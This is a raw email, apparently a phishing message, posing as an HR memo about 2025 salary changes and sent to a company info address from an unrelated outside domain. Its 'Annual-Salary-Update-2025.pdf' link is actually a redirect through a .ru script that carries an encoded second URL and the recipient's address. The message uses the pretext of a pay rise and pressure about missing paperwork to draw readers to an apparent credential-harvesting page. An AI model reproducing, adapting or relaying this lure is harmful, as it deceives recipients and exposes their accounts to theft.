Envelope-to: info@sterlingcal.com
Delivery-date: Tue, 12 Nov 2024 20:45:58 -0600
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Date: Wed, 13 Nov 2024 02:45:17 +0000 (UTC)
From: HR ADMIN <nashik.canon@shreesalescorp.in>
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Message-ID: <shhZytqsSveKI2ewP5Hg9A@geopod-ismtpd-28>
Subject: Your 2025 Salary Update =?UTF-8?B?4oCT?= View New Compensation
 Details
Reply-To: nashik.canon@shreesalescorp.in
To: info@sterlingcal.com

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Memo Desk =A0=A0=A0=A0 : HR Department
Endorsed by =A0 =A0 : Director of Human Resources

We are pleased to announce the 2025 salary structure, reflecting updates to=
 compensation packages across the organization. As part of our commitment t=
o fair and competitive compensation, several positions will see salary incr=
eases, effective January 2025. You can view the new structure and details o=
f changes via the following link:

Annual-Salary-Update-2025.pdf ( http://1der.ru/go.php?go=3DaHR0cHM6Ly9qb2hu=
bWFyc2hhbGxhbmsuaW5mby9yYzIv#info@sterlingcal.com )

Employees highlighted in red are yet to submit any additional documentation=
 needed to process changes, while those in green are fully compliant.

Should you have any questions regarding the updates, please feel free to re=
ach out by replying to this email.

*Thanks & Regards,*

*Human Resources*

*HR Admin*

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            <font color=3D"#1f497d">Memo Desk &nbsp;&nbsp;&nbsp;&nbsp; : HR=
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            Endorsed by &nbsp; &nbsp; : Director of Human Resources</font>
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        <p style=3D"font-family:&quot;times new roman&quot;,serif;font-size=
:12pt;margin-bottom:12pt;margin-left:0px;margin-right:0px">&nbsp;</p>
        <p style=3D"font-family:&quot;times new roman&quot;,serif;font-size=
:12pt;margin-bottom:12pt;margin-left:0px;margin-right:0px">
            =20
            We are pleased to announce the 2025 salary structure, reflectin=
g updates to compensation packages across the organization. As part of our =
commitment to fair and competitive compensation, several positions will see=
 salary increases, effective January 2025. You can view the new structure a=
nd details of changes via the following link:
        </p>
        <p style=3D"font-family:&quot;times new roman&quot;,serif;font-size=
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            Employees highlighted in red are yet to submit any additional d=
ocumentation needed to process changes, while those in green are fully comp=
liant.<br><br>
            Should you have any questions regarding the updates, please fee=
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